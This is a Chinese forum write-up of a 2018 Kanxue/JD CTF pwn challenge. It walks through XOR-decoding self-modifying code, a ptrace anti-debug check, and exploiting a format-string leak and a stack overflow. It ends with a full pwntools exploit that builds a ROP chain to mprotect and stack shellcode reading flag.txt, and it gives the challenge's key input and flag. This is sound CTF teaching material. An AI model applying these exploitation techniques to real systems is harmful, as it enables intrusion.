首页
社区
课程
招聘
[原创]看雪.京东 2018CTF 第三题 WP
2018-6-22 11:02 2735

[原创]看雪.京东 2018CTF 第三题 WP

2018-6-22 11:02
2735

此题从反逆向方面来说,运用了SMC和ptrace;从pwn方面来说,考察的是格式化漏洞和栈溢出而进行的ROP。

 

程序checksec:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序流程及解码

静态分析就遇到问题,程序有SMC。先上代码:

.text:0000000000400794                 push    rbp
.text:0000000000400795                 mov     rbp, rsp
.text:0000000000400798                 sub     rsp, 40h
.text:000000000040079C                 mov     [rbp+var_34], edi
.text:000000000040079F                 mov     [rbp+var_40], rsi
.text:00000000004007A3                 mov     rax, fs:28h
.text:00000000004007AC                 mov     [rbp+var_8], rax
.text:00000000004007B0                 xor     eax, eax
.text:00000000004007B2                 mov     [rbp+var_30], 0
.text:00000000004007BA                 mov     [rbp+var_28], 0
.text:00000000004007C2                 mov     [rbp+var_20], 0
.text:00000000004007CA                 mov     [rbp+var_18], 0
.text:00000000004007D2                 mov     [rbp+var_10], 0
.text:00000000004007DA                 mov     rax, cs:stdin@@GLIBC_2_2_5
.text:00000000004007E1                 mov     esi, 0          ; buf
.text:00000000004007E6                 mov     rdi, rax        ; stream
.text:00000000004007E9                 call    _setbuf
.text:00000000004007EE                 mov     rax, cs:stdout@@GLIBC_2_2_5
.text:00000000004007F5                 mov     esi, 0          ; buf
.text:00000000004007FA                 mov     rdi, rax        ; stream
.text:00000000004007FD                 call    _setbuf
.text:0000000000400802                 mov     eax, 0
.text:0000000000400807                 call    welcome
.text:000000000040080C                 call    $+5
.text:0000000000400811
.text:0000000000400811 L_64:
.text:0000000000400811                 pop     rax
.text:0000000000400812                 add     rax, 7
.text:0000000000400816                 jmp     rax
.text:0000000000400816 main            endp
.text:0000000000400816
.text:0000000000400818 ; ---------------------------------------------------------------------------
.text:0000000000400818                 sar     rax, 0Ch
.text:000000000040081C                 shl     rax, 0Ch
.text:0000000000400820                 mov     rdi, rax
.text:0000000000400823                 mov     rdx, 7
.text:000000000040082A                 mov     rax, 0Ah
.text:0000000000400831                 mov     rsi, 1000h
.text:0000000000400838                 syscall                 ; LINUX - sys_mprotect
.text:000000000040083A                 xor     rax, rax
.text:000000000040083D                 mov     rdx, 6
.text:0000000000400844                 push    rax
.text:0000000000400845                 lea     rax, szCh
.text:000000000040084D                 mov     rsi, rax
.text:0000000000400850                 pop     rax
.text:0000000000400851                 mov     rdi, rax
.text:0000000000400854                 syscall                 ; LINUX -
.text:0000000000400856                 call    $+5
.text:000000000040085B
.text:000000000040085B L0_64:
.text:000000000040085B                 pop     rax
.text:000000000040085C                 add     rax, 24h
.text:0000000000400860                 xor     rcx, rcx
.text:0000000000400863                 mov     dl, [rsi+rcx]
.text:0000000000400866
.text:0000000000400866 L1_64:                                  ; CODE XREF: .text:0000000000400878↓j
.text:0000000000400866                                         ; .text:000000000040087D↓j
.text:0000000000400866                 mov     bl, [rax+rcx]
.text:0000000000400869                 xor     bl, dl
.text:000000000040086B                 mov     [rax+rcx], bl
.text:000000000040086E                 mov     dh, [rax+rcx-1]
.text:0000000000400872                 inc     rcx
.text:0000000000400875                 cmp     dh, 0FBh
.text:0000000000400878                 jz      short L1_64
.text:000000000040087A                 cmp     bl, 90h
.text:000000000040087D                 jnz     short L1_64

程序确实有SMC,以下部分就不能正确解析成指令了,直到0x400a73,共500字节。
上面正确解析的指令代码流程比较简单:

  • setbuf
  • 调用welcome
  • mprotect(0x400000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)
  • read(0,0x601080,6)
  • 用输入的第一个字符异或解码0x40087F开始的代码,直到遇到nop指令。

注意到程序中一直使用call|pop的方式获取指令的地址。

 

解码好办,因为如果存在上面的call|popmov小立即数,那指令代码中必有连续的00,直接寻找连续(2-3字节以上)的相同字节,此极有可能就是异或key。然后ida解码。发现
异或值是0x65,异或解码500字节后,发现中间有nop指令,其后指令解析不对,看来是解码字节多了。

.text:000000000040087F                 lea     rax, (loc_400818 - 400818h)[rax+rcx]
.text:0000000000400883                 sub     rax, 80h
.text:0000000000400889                 xor     rcx, rcx
.text:000000000040088C
.text:000000000040088C LEn0_64:                                ; CODE XREF: main+107↓j
.text:000000000040088C                 mov     bl, byte ptr ds:(loc_400818 - 400818h)[rax+rcx]
.text:000000000040088F                 xor     bl, dl
.text:0000000000400891                 mov     byte ptr ds:(loc_400818 - 400818h)[rax+rcx], bl
.text:0000000000400894                 inc     rcx
.text:0000000000400897                 cmp     rcx, 20h
.text:000000000040089B                 jl      short LEn0_64
.text:000000000040089D                 add     rax, 80h
.text:00000000004008A3                 xor     rcx, rcx
.text:00000000004008A6                 mov     dl, [rsi+rcx]
.text:00000000004008A9                 inc     rsi
.text:00000000004008AC                 xor     dl, [rsi+rcx]
.text:00000000004008AF
.text:00000000004008AF L2_64:                                  ; CODE XREF: main:loc_4008C1↓j
.text:00000000004008AF                                         ; main+132↓j
.text:00000000004008AF                 mov     bl, byte ptr ds:(loc_400818 - 400818h)[rax+rcx]
.text:00000000004008B2                 xor     bl, dl
.text:00000000004008B4                 mov     byte ptr ds:(loc_400818 - 400818h)[rax+rcx], bl
.text:00000000004008B7
.text:00000000004008B7 loc_4008B7:
.text:00000000004008B7                 mov     dh, byte ptr ds:(loc_400817 - 400818h)[rax+rcx]
.text:00000000004008BB                 inc     rcx
.text:00000000004008BE                 cmp     dh, 0FBh
.text:00000000004008C1
.text:00000000004008C1 loc_4008C1:
.text:00000000004008C1                 jz      short L2_64
.text:00000000004008C3                 cmp     bl, 90h
.text:00000000004008C6                 jnz     short L2_64
.text:00000000004008C8                 nop

原来是要一步步解码,上面贩代码功能是解码下一部分代码,并编码前面一部分代码。编解码方式依然是异或,异或key为上次一异或值与下一个输入(上面代码是第二次输入)的异或结果。如此反复,用完第6个输入字节。
一共异或解码6次:

xor(0x40087f,0,74,'\x65')
xor(0x4008c9,0,71,'\x13')
xor(0x400910,0,71,'\x4b')
xor(0x400957,0,71,'\x25')
xor(0x40099e,0,62,'\x44')
xor(0x4009dc,0,151,'\x0f')

所以解码的输入就是:

>>> a='\x65\x13\x4b\x25\x44\x0f'
>>> >>> for i in range(6):
...   print chr(tmp^ord(a[i])),
...   tmp = ord(a[i])
...
6 v X n a K

实际上有作用的代码只有如下:

.text:00000000004009FA                 mov     rax, 1
.text:0000000000400A01                 mov     rdx, 5          ; count
.text:0000000000400A08                 lea     rsi, szCh2      ; "wow!\n"
.text:0000000000400A10                 mov     rdi, rax        ; fd
.text:0000000000400A13                 syscall                 ; LINUX - sys_write
.text:0000000000400A15                 mov     edi, 0          ; stream
.text:0000000000400A1A                 call    _fflush



.text:0000000000400A30                 xor     rax, rax
.text:0000000000400A33
.text:0000000000400A33 loc_400A33:                             ; count
.text:0000000000400A33                 mov     rdx, 1Ah
.text:0000000000400A3A                 mov     rsi, rsp        ; buf
.text:0000000000400A3D                 mov     ds:lpGoble, rsp
.text:0000000000400A45                 mov     rdi, rax        ; fd
.text:0000000000400A48                 syscall                 ; LINUX - sys_read
.text:0000000000400A4A                 mov     rax, cs:lpGoble
.text:0000000000400A51                 mov     rdi, rax        ; format
.text:0000000000400A54                 mov     eax, 0
.text:0000000000400A59                 call    _printf
.text:0000000000400A5E                 xor     rax, rax
.text:0000000000400A61                 mov     rdx, 200h       ; count
.text:0000000000400A68                 lea     rsi, [rsp+40h+buf] ; buf
.text:0000000000400A6D                 mov     rdi, rax        ; fd
.text:0000000000400A70                 syscall                 ; LINUX - sys_read

还原下就是:

write(1,"wow!\n",5);
read(0,rsp,26);
printf(rsp);
read(0,buf,0x200);

welcome函数除了打印logo及一首诗外,还调用了test函数,里面有ptrace系统调用,代码还原为:

ptrace(PTRACE_TRACEME,0,1,0);

漏洞分析及利用

漏洞点很明显,有两个:

  • 格式化漏洞,printf的参数为输入,完全可控
  • 最后一个read是栈溢出。可以ROP。

格式化漏洞完全可以泄露libc地址,canary和栈地址。这样就可以直接ROP到one gadget获取shell。
需要注意下,因为代码解码后又有编码,且后来的编码并不是还原,所以代码只能执行一次。

 

但是在利用过程中,发现shell似乎是暂停了,去掉ptrace就正常,怀疑是ptrace的事。
于是乎想直接shellcode,读flag。先mprotect修改栈区可执行,然后ROP到栈区执行cat文件的shellcode。

 

这个文件名让我一度怀疑没有成功,因为没有输出,浪费比较多的时间,最后才发现是成功的,只是文件名错了,flag的文件名是flag.txt而不是flag

 

附上exp:

#!/usr/bin/env python
from pwn import *

def pwn():
    global p    

    puts_off = 0x6F690    
    pd_ret_off = 0x21102 #pop rdi
    ps_ret_off = 0x202e8 #pop rsi
    pp_ret_off = 0x1150c9 #pop rdx;pop rsi
    mprotect_off = 0x100b80#101770
    mprotect_off = 0x101770

    # puts_off = 0x6fd60  #local
    # one_gadget_off = 0x4647c #local
    # pd_ret_off = 0x22b9a #local pop rdi;ret
    # pp_ret_off = 0x10bd59
    # mprotect_off = 0xf8590
    p.recvuntil('\x85\xa7\n\n')
    p.recvuntil('**\n\n')
    p.send('evXnaK')
    sleep(0.5)
    p.send("dalao%p%13$p%8$s"+p64(0x601018))

    p.recvuntil('dalao')
    stack = int(p.recvn(14)[2:],16)
    canary = int(p.recvn(18)[2:],16)
    puts_addr = u64(p.recvn(6)+'\x00'*2)

    pd_ret_addr = puts_addr - puts_off + pd_ret_off
    pp_ret_addr = puts_addr - puts_off + pp_ret_off
    mprotect_addr = puts_addr - puts_off + mprotect_off    

    shellcode = asm(shellcraft.cat('flag.txt'))
    l = len(shellcode)
    log.info('shellcode length(<54):%d'%l)
    payload = 'A'*32+'A'*(88-32-l)+shellcode+p64(canary)+p64(0)
    payload += p64(pd_ret_addr)+p64(stack&0xfffffffffffff000)
    payload += p64(pp_ret_addr)+p64(7)+p64(0x1000)
    payload += p64(mprotect_addr)+p64(stack)
    p.recvuntil('\x18\x10\x60')
    p.sendline(payload)
    log.info('read file:flag.txt')
    print p.recvall(timeout=1)

    p.close()

if __name__  ==  '__main__':
    context(arch='amd64', kernel='amd64', os='linux')
    # libc = ELF('./libc.so.6')
    if len(sys.argv) < 2:          
        p = process('./wow1')
        context.log_level = 'debug'        
    else:   
        # 139.199.99.130 65188
        p = remote(sys.argv[1], int(sys.argv[2]))
        # context.log_level = 'debug'        
    pwn()

得到的flag为:572416a82fa298b09b87f733d5483ba51


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2018-6-23 00:50 被poyoten编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回